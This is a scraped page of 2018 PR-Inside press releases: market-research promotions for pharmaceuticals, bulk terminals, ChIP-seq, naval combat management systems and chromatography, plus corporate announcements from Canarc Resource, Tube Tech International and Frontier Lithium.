prospects pushing growth of bicycle parking rack market in this region has been focused on along with associated market rationalities.Buy Full Report @ https://www.xploremr.com/cart/reports/buynow/2155 PR-Inside.com: 2018-12-20 18:57:01 Press Information Research Report Insights Research Report Insights 42 joseph street, Portcarling P0B 1J0, Muskoka, Ontario T: +1-631-721-4201 Vikas Bahurupi Manager 6317214201 email https://www.researchreportinsights.com # 779 Words Research Report Insights42 joseph street,Portcarling P0B 1J0,Muskoka, OntarioT: +1-631-721-4201Manager6317214201 Branded generics are pharmaceutical drug molecules that are bioequivalent to original products. However, they are marketed under a companys brand to differentiate itself from the generic products. Branded generics or generics require low research or development costs compared to the branded prescription products. Companies, which operate in branded generic business invest majorly in marketing the product and to create the brand awareness. Companies are seeing growing opportunity in the branded generics market owing to the higher deemed in the emerging countries. The global branded generics market has been segmented on the basis of therapeutic application, drug class, formulation type, distribution channels, and region.The global branded generics market has been estimated to be valued at US$ 193.3 Bn in 2015, and is expected to expand at a 7.3% CAGR over the forecast period (2026).Market DynamicsGrowth of the global branded generics market is mainly driven by increasing affordability of branded generics owing to fierce competition, favourable demographics across the regions, and companies differential pricing for these products in accordance with geographic needs. These are expected to drive the market over forecasted period. Other prominent factors driving growth of the market are adoption of branded generics by large scale pharmacy chains in European countries, integrated supply chain, growing captive sales force and conducive regulatory environment in developing countries.However, price pressure from payers such as government and insurance agencies, misuse of Risk Evaluation and Mitigation Strategies (REMS), pay for delays, and commoditization of generics are the factors suggestive of barriers to growth of global branded generics market. Large players in this market are employing strategies like Mergers & Acquisitions (M&A) and maintaining distribution agreements with strong local players in various regions to consolidate their market position.Request For Report Sample with Table of Contents@ https://www.researchreportinsights.com/report/sample/110114772/Branded-Generics-Market Market Segmentation by Therapeutic ApplicationBased on therapeutic application, the market has been segmented into oncology, cardiovascular diseases, diabetes, neurology, gastrointestinal diseases, dermatology diseases, analgesic and anti-inflammatory, and others. In terms of value, others segment is estimated to account for more than 41% market share in global branded generics market, by 2026 end.Market Segmentation by Drug ClassAccording to drug class, the market has been segmented into alkylating agents, antimetabolites, hormones, anti-hypertensive, lipid lowering drugs, anti-depressants, anti-psychotics, anti-epileptics and others. Others drug class segment accounted for highest market share of 79.5% in 2015 and is expected to gain moderate market share over the forecast period to reach at the value US$ 330.6 Bn by 2026. Increasing demand for drugs is mainly attributed to the favourable market dynamics for branded generics across the developing countries or regions coupled with rising competition among existing players.Market Segmentation by Formulation TypeAccording to formulation type, the market has been segmented into orals, parenteral, topicals and others. Oral formulation type segment accounted for highest market share of 58.0% in 2015 and is expected to gain moderate market share over the forecast period to reach the value of US$ 241.3 Bn by 2026. Increasing demand for oral pharmaceutical formulations can be mainly attributed to the availability, affordability, and accessibility to these formulations.Request For Report Discount@ https://www.researchreportinsights.com/report/discount/110114772/Branded-Generics-Market Market Segmentation By Distribution ChannelsOn the basis of distribution channels, the market has been segmented into hospital pharmacies, retail pharmacies, online pharmacies, and drug stores. Retail pharmacies followed by hospital pharmacies are the most preferred medium of distribution of branded generics across the regions. However, increasing consumer preference for online sales channel which provides mail order requests, are expected to impart significant competition to these traditional channels in some of the regions such as North America and Western Europe.Key RegionsThe global branded generics market has been segmented into seven major regions: North America, Latin America, Eastern Europe, Western Europe, Asia Pacific Excluding Japan (APEJ), Japan and the Middle East & Africa (MEA). In terms of value, the APEJ market has been estimated to dominate the global branded generics market in 2016, and is expected to expand at a CAGR of 10.0% over the forecast period. APEJ, MEA, and Latin America are expected to be the fastest growing markets among regional markets. APEJ market is expected to witness highest CAGR of 10.0% over the forecast period. In APEJ, cardiovascular diseases therapeutic application sub-segment is expected to grow at faster rate to reach the value US$ 21.1 Bn by 2026 end. Market in Japan is expected to exhibit healthy CAGR owing to growing acceptance of generics in the region.Key PlayersSome of the key players in the global branded generics market include Abbott Laboratories, Pfizer Inc., Teva Pharmaceutical Industries Ltd., Novartis AG, Mylan N.V., Valeant Pharmaceuticals International, Inc., Aspen Pharmacare Holding Ltd., Sun Pharmaceutical Industries Ltd.Report Analysis@ https://www.researchreportinsights.com/report/rd/110114772/Branded-Generics-Market Research Report Insights PR-Inside.com: 2018-12-20 18:59:33 Press Information Research Report Insights Research Report Insights 42 joseph street, Portcarling P0B 1J0, Muskoka, Ontario T: +1-631-721-4201 Vikas Bahurupi Manager 6317214201 email https://www.researchreportinsights.com # 732 Words Research Report Insights42 joseph street,Portcarling P0B 1J0,Muskoka, OntarioT: +1-631-721-4201Manager6317214201 Research Report Insights (RRI) delivers key insights on the global Bulk terminal market in its latest report titled, Bulk Terminal Market: Global Industry Analysis and Opportunity Assessment, 20162026. The report projects the market size on the basis of bulk volume throughputs from global sea ports. According to the report, total volume throughput from sea ports is projected to expand at an estimated CAGR of 3.2% over the forecast period. The bulk volume throughput implicates the loading and unloading of unpacked bulk commodities like coal, grain, iron ore, forest products, etc. from barges and vessels.The Bulk terminal market is classified into two main segments - dry bulk and liquid bulk based on bulk type. The dry bulk segment is expected to hold 62.9% share in bulk terminal volume throughput, while liquid bulk terminal holds the remaining share. The dry bulk segment is expected to grow at a CAGR of 3.2% with coal and iron ore holding over 52% of share in terms of volume throughput. The other sub-segment of dry bulk, which include minor bulk commodity (minerals, agricultural bulks, forest products, manufactures, etc.) is expected to hold 37.68% volume share in dry bulk volume throughput during 2016.Request For Report Sample with Table of Contents@ https://www.researchreportinsights.com/report/sample/110114773/Bulk-Terminal-Market The liquid bulk segment is expected to grow with a CAGR of 3.4% during 2016-2026 with oil sub-segment holding 86% of share in liquid bulk volume throughput by the end of 2026. The oil sub-segment involves both crude oil as well as finished petroleum products. Global Bulk Terminal Market Volume throughput expected to increase at a CAGR of 3.2% over 20162026, with China driving the overall market of sea trades: RRIIncreasing global population and enhanced affordability is expected to raise the consumption of bulk commodities and therefore drive the bulk terminal market growth. Also, emphasis on increasing industrial productivity is expected to be one of the key drivers of the trade through bulk terminals. The increasing trade of grain and concentrated agricultural productivity is expected to push the dry bulk commodity market. Whereas, rising environmental concerns and adoption of cleaner energy approach by major coal consumer countries is expected to reduce the rate of coal consumption.APEJ is expected to remain the key region for bulk terminal market accounting for major share in bulk terminal volume throughput. China is one of the largest consumer of bulk commodities and it is expected to hold majority of share approx. 50% in APEJ. It is estimated to remain dominant in the market in terms of volume throughput. While developing economies like India are expected to cater high growth opportunities with a healthy CAGR of 4.8% during forecast period.Request For Report Discount@ https://www.researchreportinsights.com/report/discount/110114773/Bulk-Terminal-Market Prevailing trade of grain and minor bulk commodities in North America and Latin America is expected to be the main driving factor of bulk commodity volume throughput in the regions. The cumulative grain volume throughputs in Latin America and North America is expected to mark over 383 million tonnes in 2016. Expanding shale oil and gas production in U.S and Gulf of Mexico is predicted to cater to high growth opportunities in North America liquid bulk volume throughput, where gas sub-segment of liquid bulk is expected to grow with a CAGR of 3.6% between 2016 and 2026. The expansion project of Panama Canal is also expected to lever up the terminal market in Latin America.With the development of Suez Canal, the trade through Europe and MEA should increase catering diversified growth opportunities of trans-shipment on the ports lying in proximity of Suez Canal. Slowdown in global economic growth has adversely affected the global seaborne trade in past few years. Also, overcapacity condition raised due to lower freight rates in shipping industry is expected to affect the bulk terminal market during initial years of forecast. Transformations of industrial production and international trades in major bulk consuming countries like China, Japan, Russia, India, and Australia are expected to stabilize the market by the end of 2018. The overall bulk terminal market is hence expected to grow with higher CAGR post 2018.Key playersChina Merchants Port Holdings Co. Ltd. and DaLian Port (PDA) Company Limited, Thessaloniki Port Authority SA., Global Ports Investments PLC., Ports America, Inc. APM Terminals, Euroports Holdings S.a.r.l., Puerto Ventanas S.A., HES International B.V., Yilport Holding Inc, DP World Ltd., Noatum Ports, S.L.U., and Ultramar GroupReport Analysis@ https://www.researchreportinsights.com/report/rd/110114773/Bulk-Terminal-Market PR-Inside.com: 2018-12-20 22:01:35 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 961 Words ACCESSWIRE News Network888.952.4446 VANCOUVER, BC / ACCESSWIRE / December 20, 2018 / Canarc Resource Corp. (TSX: CCM, OTCQB: CRCUF, Frankfurt: CAN) announces the signing of an option agreement with Tasca Resources Ltd. (Tasca) and Sydney Wilson to acquire an 80% interest in their 14,650 hectare Princeton Gold property located in southern British Columbia, Canada.Scott Eldridge, Canarc's CEO, stated: "Canarc is excited to participate in this emerging new high-grade gold discovery located near the Copper Mountain Mine in southern British Columbia. The Princeton gold property represents another high-impact exploration opportunity for Canarc in a mining-friendly jurisdiction. Our immediate goal is to conduct field work to expand the known gold mineralization and identify high priority targets for drilling next year." Past Exploration HighlightsCombined 2011 surface sampling and 2018 trenching programs highlights as reported by Tasca include:Quartz vein assaying 217 grams per tonne (gpt) gold over 0.9 meters (m) with a second sample three meters along strike assaying 99.7 gpt gold over 0.9 m.The zone was traced over 120 m along strike beyond which point the overburden depth exceeded the 6 m reach of excavator.Two angular quartz float samples assayed 115.5 gpt gold and 108.5 gpt gold.38 of 53 in-place or angular float quartz vein samples exceeded 1.0 gpt gold.24 samples assayed in exceeded 10 gpt gold to a maximum of 217 gpt gold.Canarc considers these results to be historical, it has not completed sufficient work to independently verify these historic results, and therefore they should not be relied upon.Property LocationThe Princeton Gold property consists of 14,650 hectares located 35 kilometers (km) south of Princeton, British Columbia and is readily accessible by road. It lies 85 km south of the new high-grade gold discovery by Westhaven Ventures on their Shovelnose property, and 11 km south of the producing Copper Mountain Mine of Copper Mountain Mining.GeologyThe property is underlain by volcanic rocks of both the Eocene Princeton Group and the Triassic-Jurassic Nicola Group. Recent mapping by the British Columbia Geological Survey and by Tasca geologists suggests the quartz vein gold mineralization is hosted primarily by Princeton volcanics.On surface, quartz veins range from 0.3 to 1.8 m in width and consist of white quartz with limonite fractures, irregular limonitic patches and rare vuggy textures.Recent ExplorationGold in quartz was discovered on the property in the fall of 2010, highlighted by a boulder grading 25.24 gpt gold. Quartz veins plus four zones of quartz float have been identified along a 3 km corridor.A trenching program was conducted on the Property in September 2018 following up on the earlier exploration discoveries, where float grab and in-place quartz rock sampling documented 25 of 37 samples returning gold values in excess of 1 gpt gold with 13 of the 25 samples returning values in excess of 10 gpt gold, to a maximum of 66.2 gpt gold.The main vein structure was traced for approximately 120 m along strike before it disappeared beneath thick overburden in both directions. Trenches were cut perpendicular to vein strike and for short distances along strike in each direction.Two other areas highlighted by anomalous rock samples or soil samples were tested. Overburden thicknesses were beyond the limit of the excavator boom, so bedrock was not reached. These areas will need to be tested by diamond drilling.The property is fully permitted for ten drill sites and fifty trench sites.Option AgreementTo earn 80% interest in the property, Canarc can spend $900,000 on exploration over a 2-year period as follows:Phase 1 - CAD$100,000 on an airborne geophysical survey and related costs before January 31, 2019.Phase 2 - CAD$340,000 on exploration activity in 2019.Phase 3 - CAD$460,000 on exploration activity in 2020.Pay CAD$25,000 and form an 80/20 Joint Venture with Tasca to further explore and advance the property.Tasca will retain a 1% NSR royalty on the property and Sydney Wilson has a 2% NSR royalty on the "Sydney Wilson claims" portion of the property which totals 4,012 hectares. The Tasca NSR and 50% of the Sydney Wilson NSR can be acquired for $1.0 million each.Next StepsCanarc plans to complete an airborne geophysical survey of the property in December 2018 to refine the known high-grade drill targets and identify other areas of the property with potential for new high-grade gold discoveries. A Phase 1 drill program is being considered for 2019.Qualified PersonGarry Biles, P.Eng, President & COO for Canarc Resource Corp, is the Qualified Person who reviewed and approved the contents of this news release."Scott Eldridge"___Scott Eldridge, Chief Executive OfficerCANARC RESOURCE CORP.About Canarc - Canarc Resource Corp. is a growth-oriented gold exploration company focused on generating superior shareholder returns by discovering, exploring and developing strategic gold deposits in North America. The Company is currently advancing two core assets, each with substantial gold resources, and has initiated a high impact exploration strategy to acquire and explore new properties that have district-scale gold discovery potential. Canarc shares trade on the TSX: CCM and the OTCQB: CRCUF.For More Information - Please contact:Scott Eldridge, CEOToll Free: 1-877-684-9700 Tel: (604) 685-9700 Cell: (604) 722-5381Email: scott@ canarc.net Website: www.canarc.net Cautionary Note Regarding Forward-Looking StatementsThis news release contains "forward-looking statements" within the meaning of the United States private securities litigation reform act of 1995 and "forward-looking information" within the meaning of applicable Canadian securities legislation. Statements contained in this news release that are not historic facts are forward-looking information that involves known and unknown risks and uncertainties. Forward-looking statements in this news release include, but are not limited to, statements with respect to the future performance of Canarc, and the Company's plans and exploration programs for its mineral properties, including the timing of such plans and programs. In certain cases, forward-looking statements can be identified by the use of words such as "plans", "has proven", "expects" or "does not expect", "is expected", "potential", "appears", "budget", The Chromatin Immunoprecipitation Sequencing is also useful for early detection of metabolic and obesity-related disorders. This is expected to fuelling the chromatin immunoprecipitation sequencing market during the forecast period. Health PR-Inside.com: 2018-12-20 06:46:51 Press Information Future Market Insights Future Market Insights U.S. Office 616 Corporate Way, Suite 2-9018, Valley Cottage, NY 10989, United States T: +1-347-918-3531 F: +1-845-579-5705 Email: sales@futuremarketinsights.com Web: https://www.futuremarketinsights.com Umesh SEO Manager 3479183531 email https://www.futuremarketinsights.com # 593 Words Future Market InsightsU.S. Office616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comWeb: https://www.futuremarketinsights.comSEO Manager3479183531 Chromatin Immunoprecipitation Sequencing or ChIP-seq is a method which is used to detect the interaction between DNA and Protein using next generation sequencing. It combines the chromatin immunoprecipitation with DNA sequencing for the identification of the binding sites of DNA-associated proteins. It is a type of tool that helps in determining the location of the DNA binding sites on the genome for a protein of interest.Chromatin Immunoprecipitation sequencing helps the researcher for the screening and identification of the protein binding sites on the complete chromosomal scale with high and improved accuracy and efficiency.Chromatin Immunoprecipitation Sequencing Market: Drivers and RestraintsRising incidence of immunology cases which required to test antigen-antibody interaction is a vital factor which positively influencing the growth of the market. Government has taken several initiatives and increases fund to promote the research conducted on combining chromatin immunoprecipitation and next generation DNA sequencing is also driving the market. The Chromatin Immunoprecipitation Sequencing is also useful for early detection of metabolic and obesity-related disorders. This is expected to fuelling the chromatin immunoprecipitation sequencing market during the forecast period. Although few factors such as cellular composition of the tissue, frozen sample availability, high lipid content can restrain the concern market.Chromatin Immunoprecipitation Sequencing Market: SegmentationTo gain a comprehensive and a better understanding of the future market equity, the market report is segmented based on product type, application, end user and region.Based on the product type Chromatin Immunoprecipitation Sequencing is segmented into:Chromatin Immunoprecipitation Sequencing KitsChromatin Immunoprecipitation Sequencing ArrayRequest Sample Report @ https://www.futuremarketinsights.com/reports/sample/rep-gb-8121 On the basis of Applications, Chromatin Immunoprecipitation Sequencing Market can be segmented as:Cardiovascular DiseasesCancerCentral Nervous DisordersOthersOn the basis of end users, Chromatin Immunoprecipitation Sequencing Market can be segmented as:Research InstitutesHospitalsDiagnostic CentersOthersOn the basis of geography, Chromatin Immunoprecipitation Sequencing Market can be segmented as:North- AmericaEastern EuropeWestern EuropeAsia-Pacific excluding China & JapanChinaJapanMiddle East and AfricaLatin AmericaChromatin Immunoprecipitation Sequencing Market: OverviewGlobal Chromatin Immunoprecipitation Sequencing market has witnessed growth due to expanding demand for Immunoprecipitation testing for various diseases like cancer and certain cardiovascular conditions. Chromatin Immunoprecipitation Sequencing is preferred over ChIP-on-chip. The DNA fragments while the Immunoprecipitation are isolated and can be identified by various methods like, DNA microarray, PCR and DNA sequencing. Combining NGS with ChIP, is also expected to contribute to boost the demand for Chromatin Immunoprecipitation Sequencing.Chromatin Immunoprecipitation Sequencing Market: Region-wise OutlookGeography wise, Chromatin Immunoprecipitation Sequencing market is divided into eight regions viz. North-America, Asia- Pacific excluding China & Japan, China, Japan, Western Europe, Eastern Europe, Latin America and Middle-East & Africa. North Americas Chromatin Immunoprecipitation Sequencing market is expanding because of high adoption rate and it will remain dominant over the period of forecast due to growing number of research facilities and increased funding by the government for the research studies. Europes Chromatin Immunoprecipitation Sequencing market is also expected to grow at a significant rate due to improved availability of Chromatin Immunoprecipitation Sequencing kits and growing diagnostic centers in the region. Asia-Pacifics Chromatin Immunoprecipitation Sequencing market is anticipated to grow at a decent rate due to low healthcare expenditure.Request to View TOC @ https://www.futuremarketinsights.com/toc/rep-gb-8121 Chromatin Immunoprecipitation Sequencing Market: Key Market ParticipantsSome of the market participants in the Global Chromatin Immunoprecipitation Sequencing market identified across the value chain include: Creative Diagnostics, Profacgen, Merck KGaA, Bio-Techne, Abcam plc, Bio-Rad Laboratories, Inc., Cell Signaling Technology, Inc., BioLegend, Inc., Active Motif, and Thermo Fisher Scientific Inc. Combat Management System Market PR-Inside.com: 2018-12-20 11:03:25 Press Information Persistence Market Research (PMR) 305 Broadway 7th Floor, New York City, NY 10007, United States, Telephone - +1-646-568-7751 yogesh sengar Team Lead 800-961-0353 email http://www.persistencemarketresearch.com # 694 Words 305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751Team Lead800-961-0353 IntroductionThe main objectives of a combat management system are planning for combat mission, coordination of units while performing combat missions, placing intelligence statistics on the map and investigation of errors by retrieving the history module. The combat management system delivers an accessible, services-based framework. Moreover, this system also directs accurate and fast-reacting fusion, analysis and transmission of great amounts of sensor data to guarantee the efficient deployment of ships and other resources within the framework of combined operations, particularly in the complex threat scenario of littoral warfare. Adapters included in these combat management systems boundary components are vital to the tractability of the architecture to maintain a wide range of communication, sensors and weapon interfaces.A rise in the need for safety in defence and naval services and improving control operation and efficiency to navigate vehicles necessitate combat management systems. Technological advancement in combat management systems ameliorates the efficiency and essence of defence combating ability. C9LV in naval combat management systems has lately been engineered to encounter the demands of minor platforms and is used to provide prevailing capability with a small footprint. These systems provide full awareness with weaponry governance. The combat management system market is projected to improve in the upcoming years with improving naval defence systems in all regions.Request Report Sample@ https://www.persistencemarketresearch.com/samples/18829 Combat Management System Market: DynamicsDrivers:In the recent market scenario, combat management systems have emerged as the best technology for naval combat operations. The level of innovation and encroachment deployed in combat management systems has steadily increased over the years, owing to the demand for improvement by countries in their own armed forces. Increasing frequency of anti-ship missile threat and the possibility of navy combat maneuvers in the near-shore sea side provinces necessitate significant improvement in the self-defence capabilities of ships. Attributing to such conditions, navy ships need automated combat management systems. One of the key factors expected to drive the combat management system market is situational awareness in the naval defence system.Restraints:The advent of wireless, sonar and radar combat management systems has escalated situational awareness, but also the number of threats to mariners. Add in airborne and stand-off weapons, the coercions begin to appear too often to manage. These factors hinder the combat management system market growth.Trends:SIGMA-E, the combat management system, is intended to ensure combat governance of naval defence ships and their task force on the basis of computer based procedures of decision creating about combat employment of forces and their mobilization. BMS-Lince is the most progressive command and control system currently in combat management system operations.Combat Management System Market: SegmentationThe combat management system market can be segmented on the basis of components as:SoftwareHardwareThe combat management system market can be segmented on the basis of sub-systems as:Self-defence management systemTrack management systemSituational awareness systemUnmanned vehicle control systemDisplay systemIdentification systemWeapon management systemThe combat management system market can be segmented on the basis of platforms as:DestroyersFrigatesSubmarinesAmphibious shipsCorvettesFast attack craft (FAC)Aircraft carriersCombat Management System Market: Regional OutlookThe growing automotive market in countries, such as India and China, makes Asia Pacific one of the faster growing markets for combat management systems. Chinese and Indian markets are prominently credited to escalate ship building activities and conveyances of combat vessels in the region. North America, followed by Europe, is expected to show stagnant growth during the forecast period. Latin America and Middle East and Africa are anticipated to witness healthy growth in the combat management system market over the forecast period. The Middle East growing ship building industry will be a reason for the hike in the combat management system market in the region.Visit For TOC@ https://www.persistencemarketresearch.com/toc/18829 Combat Management System Market: Market ParticipantsExamples of some of the market participants in the combat management system market are:BAE SystemsLockheed Martin CorporationRaytheon companySaab ABTerma A/SHanwha corporationBharat Electronics Limited (BEL)DRS Technologies, Inc.ASELSANTata Advanced Systems LimitedThe Atlas Elektronik GroupAtos SEECA Group (A GORGE Group Company) PR-Inside.com: 2018-12-20 16:18:48 Press Information Future Market Insights 616 Corporate Way, Suite 2-9018, Valley Cottage, NY 10989, United States T: +1-347-918-3531 F: +1-845-579-5705 Amir Shaikh SEO Manager 3479183531 email https://www.futuremarketinsights.com # 611 Words 616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705SEO Manager3479183531 Chromatography is the most essential and well known separation technique which is extensively used across various industries. Chromatography is referred to as a technique that is used for the purification of biomolecules in which the components that are to be separated are distributed between two phases. Among these two phases, one is stationary phase and other is a mobile phase. All types of chromatography systems work on the same principle i.e., separation of sample mixture into stationary phase (solid or liquid supported on solid) and mobile phase (liquid or gas). Over the years chromatography technique and its instrument are being used in the biotechnology and pharmaceutical companies for the development of pure drug molecule. The instruments that are utilized in the chromatography have benefitted the researches due to their ability to separate, analyze and purify a molecule in an efficient and effective manner. These chromatography instrumentation techniques are used in various application areas such as pharmaceutical, biotechnology, food production, diagnostics, genetic engineering, drug discovery and water analysis.The global market for chromatography instrumentation can be segmented as follows:By systemGas chromatography systemLiquid chromatography systemHigh pressure liquid chromatography (HPLC)Ultra high pressure liquid chromatography (UHPLC)Low pressure liquid chromatography (LPLC)OthersIon-exchange chromatographyAffinity chromatographySuper critical fluid chromatographyColumn chromatographyThin layer chromatographyBy consumables and instrumentsColumnsSyringe filtersVialsTubingsDetectorsAutosamplersPumpsFraction collectorsOthersBy end usersBiotechnology and pharmaceuticals industriesHospitals and research laboratoriesAgriculture and food industriesOthers (cosmetic industries, environmental agencies and nutraceutical companies)The market for chromatography instrumentation holds an immense potential due to increasing number of biotechnology and pharmaceutical industries. Rising government investments for research purpose, expansion of chromatography companies in the Asian region and increasing collaborations among the existing players in the market are some of the other propelling factors for this market. The chromatography instrumentation market is also witnessing huge advancements in the design of column which is consequently raising the demand for development of better analytical resins and reagents. Additionally, emergence of green chromatography, usage of nanomaterial in chromatography and increasing usage of chromatography instrument for monoclonal antibody purification are some of the other opportunities that are fuelling the growth of this market. However, high cost of the chromatography systems and economic slowdown across the globe has resulted in decreased sales of chromatography systems. In addition need of skilled personnel for operates chromatography instrument is a factor which might restrict its demand in the global chromatography instrumentation market.Geographically, North America accounts for the largest share of the chromatography instrumentation market followed by the European region. The dominance of these regions in this market is seen due to growing government investments and funding for research. Further, augmented research and development activities of drugs and biologics and increasing number of conferences on chromatography are some of the key drivers of this industry. However, in the near future the U.S market is expected to decline its market share owing to the market maturity. Asia-Pacific region is expected to show healthy growth in the near future due to expansion of chromatography companies in the regions of India, China, Japan, Singapore and Vietnam. Additionally, several major pharmaceutical companies are also increasingly outsourcing their drug and development services especially in the Asian region which is indentified as another major driver that is augmenting the demand of chromatography reagents in this region.Request Sample Report @ https://www.futuremarketinsights.com/reports/sample/rep-gb-383 Major players operating in this market includes Agilent Technologies, Becton, Dickinson and Company, Bio-Rad Laboratories, GE Healthcare, Life Technologies Corporation, Pall Corporation, Regis Technologies, Sigma-Aldrich Corporation, Waters Corporation, Helena Laboratories, Phenomenex, Inc. WWR International, Tosoh Corporation and others. PR-Inside.com: 2018-12-20 18:09:32 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 777 Words ACCESSWIRE News Network888.952.4446 ESSEX, UK / ACCESSWIRE / December 20, 2018 / Recognised for its world-leading technologies to remove fouling from process industries most critical assets, Tube Tech International (TTIL) is celebrating 30 years in business with the launch of a new arm that reflects the research and innovation-driven ethos behind the company's success.Founded in the UK in 1988, TTIL has become the go-to fouling removal service provider and often a lifeline for oil and gas companies, including global majors, experiencing a costly decrease in performance due to fouling build-up within static fired and unfired heat transfer units.The Essex-born company, now employing 28 members of staff, has delivered unprecedented energy savings to refineries and petrochemical plants spanning Europe, the Middle East, Asia, Australia and the USA - where, in 2018, it launched Tube Tech Inc; a fully owned subsidiary of TTIL based in Houston, Texas.The firm has also been awarded 5m from two competitive rounds of European Union (EU) research and innovation funding. As part of the EU's current Horizon 2020 programme, TTIL is developing the world's first automated external 'shell side' heat exchanger cleaning system to remove near 100% of previously inaccessible fouling, thereby substantially reducing CO2 emissions and wasted energy.From its humble beginnings to the impact TTIL has made on the industry three decades on, founder, serial inventor and CEO Mike Watson reflected on TTIL's history. He said: "I started Tube Tech from my bedsit in Shoebury, Essex, where my first job was to invent a self-sufficient machine to unblock a 1km irrigation pipe in a farmer's field without access to any facilities. The following year I worked on a project for a major oil and gas company, then an oil platform, and from there, the rest is history. Innovation was what this competitive industry needed and will always need to dramatically reduce industry's carbon footprint as well as increase efficiency, throughput and profit. There will always be a better solution for fouling removal; which is what has been driving our business for 30 years." With research and development central to TTIL's global success, the company has marked its 30th year in business with the launch of Tube Tech Research and Development Ltd; a new company dedicated to pushing the boundaries of technology to provide innovative solutions to cleaning in all industrial areas. In addition to self-funded developments, the team is in the champion's league for Innovate UK and EU grant-funded projects.Industry partnerships have also contributed to TTIL's focus on improving service provision, including recent alliances with century-old leading metal processing company Manoir Industries, and USA-based ParFab Companies; a fabrication and field service company for the global industrial market.With live trials underway, 2019 will see TTIL introduce the latest ground-breaking robotic fouling removal technology to the market. The next generation robot is highly automated, sensor driven and records images before, during and after the clean. Further details are to be released in January.Mike, who was highly commended for the IoD East of England Director of the Year Award in 2017, continued: "I'm really proud of my teams both in admin and operations, pulling in the same direction and supporting each other. It has always been my aim to empower staff to build relationships with each other, clients and suppliers and innovate at every step - with no limits. They are all part of our end goal to protect the environment that sustains us all. Our technicians and engineers are so highly trained they could get a job anywhere, but the fact that they choose to stay with us at TTIL is testament to our company's success." About UsAbout Tube Tech InternationalFounded in the UK in 1988Tube Tech International is the global leader in research-led, high-tech fouling removal and inspection services, constantly investing in and developing tried and tested, step change methods to solve heavy industries' most difficult cleaning challenges.Tube Tech International's patented methods, including remotely operated robotic technology, achieve significant savings, reduce downtime and CO2 emissions, increase throughput and improve safety standards.Tube Tech International's robotic technology has recently been granted government funding as part of Horizon 2020; the biggest European Union research and innovation programme to date. Its patented Shell Side Jet solution will deliver the very first technology to effectively remove fouling from the outside heat transfer surface of shell and tube exchangers.In 2018, Tube Tech Inc. U.S. base of operations was launched in Houston, Texas.ContactsLouise StruttMarketing ManagerLinksSOURCE: Tube Tech International PR-Inside.com: 2018-12-20 15:01:06 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 728 Words ACCESSWIRE News Network888.952.4446 SUDBURY, ON / ACESSWIRE / December 20, 2018 / Frontier Lithium Inc. (TSX-V: FL) (the "Company") announces that, further to its November 27, 2018 press release, it intends to complete a non-brokered private placement with subscriptions exceeding the originally announced target of $500,000 due to high investor interest. A non-brokered Flow Through private placement offering for a total of 2,622,619 units ("Units") of the Company priced at $0.42 per Unit, for total gross proceeds of $1,101,500. The Flow Through private placement is oversubscribed from the initial offering by $601,500, issuing an additional 1,432,143 common shares of the Company.Each Unit shall consist of one (1) Common Share of the Company and one-half (1/2) share purchase warrant (the "Warrant"). In connection with the CDN $1,101,500 Offering, the Company issued finder's fees of CDN $61,578 (totaling 5.59% of the gross proceeds of the Offering). The Offering remains subject to regulatory approval.All of the shares issued pursuant to the Flow Through private placement are subject to a minimum 4-month hold period. Proceeds from the financing will be used to advance exploration of Frontier's 100% owned PAK Lithium Project located in northwestern Ontario.About Frontier Lithium Inc.Frontier Lithium is a Canadian junior mining company and have the largest land position in the Electric Avenue, a newly emerging premium lithium-metal district hosted in the Canadian Shield of northwestern Ontario. Frontier is implementing a phased approach to development for becoming a producer of technical grade lithium concentrates required to produce premium glass/ceramics as well as supplying a by-product of chemical grade concentrates for the production of lithium hydroxide required for the burgeoning lithium battery industry.Frontier's goal is to become a low-cost, fully integrated lithium producer through development of the PAK lithium deposit in Ontario, Canada. Frontier maintains a tight share structure with management ownership exceeding 30% of the Company. The deposit boasts its lithium in a rare, high-purity, low-iron spodumene and is analogous to the Greenbushes' Deposit in SW Australia, which supplies approximately 40% of the world's lithium demands. Frontier has recently discovered a new LCT Pegmatite showing that called the Spark showing, which at surface has displayed a channel cut with similar grade and composition to PAK Lithium Deposit. The surface exposure 3 times larger than the PAK pegmatite with widths greater than 100m and a strike length of more than 300m and is the target of project exploration to most efficiently increase resource tonnage. Currently the company is awaiting results of an additional 200m of channels.Ceramic/glass customers prefer to source technical-grade (low-iron) spodumene concentrate in excess of 7% lithium oxide (Li2O), if available, to avoid inferior lower grade petalite concentrates, or paying much higher prices for battery grade lithium compounds.The PAK lithium deposit remains open in all directions and Company Management is working towards developing a viable operation. The Company has completed a pre-feasibility study to assess the economic viability and technical feasibility of producing lithium concentrates.About the PAK Lithium ProjectThe PAK Lithium Project lies close to the boundary between two geological sub-provinces of the western Superior geologic province in northwestern Ontario and hosts a rare metals pegmatite deposit. The deposit is an LCT (lithium- cesium- tantalum) type pegmatite. These types of pegmatites have been the principal source of hard rock lithium, tantalum, rubidium and cesium ores mined in the world but there are comparatively few commercially-viable deposits.Frontier is actively exploring its 100% owned project which contains the Pakeagama Lake pegmatite. The PAK deposit has a current Measured and Indicated Resource of 7.5 million tonnes of 2.02% Li2O and an Inferred Lithium Resource of 1.8 million tonnes of 2.10% Li2O which has a technical/ceramic grade spodumene with low inherent iron (below 0.1% Fe2O3).The deposit now has a known 500m strike length with an estimated true width varying from 10m to 125m with a sub-vertical orientation. The resource remains open to depth and along strike to the northwest and southeast.Company Contact InformationBora UgurgelManager, Investor Relations2736 Belisle Drive Val Caron, ON. P3N 1B3 CANADAT. +001 705.897.7622F. +001 705.897.7618Additional information regarding Frontier Lithium is available on SEDAR at www.sedar.com under the Company's profile and on its website at www.frontierlithium.com , including various pictures of ongoing work at the project.Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.SOURCE: Frontier Lithium Inc. Gas Pressure Regulator Market PR-Inside.com: 2018-12-20 08:44:26 Press Information Persistence market research 305 Broadway 7th Floor, New York City, NY yogesh sengar Team Lead 6465687751 email http://www.persistencemarketresearch.com # 631 Words 305 Broadway7th Floor, New York City,NYTeam Lead6465687751 Safety of man, material and facility is the prime concern in every manufacturing 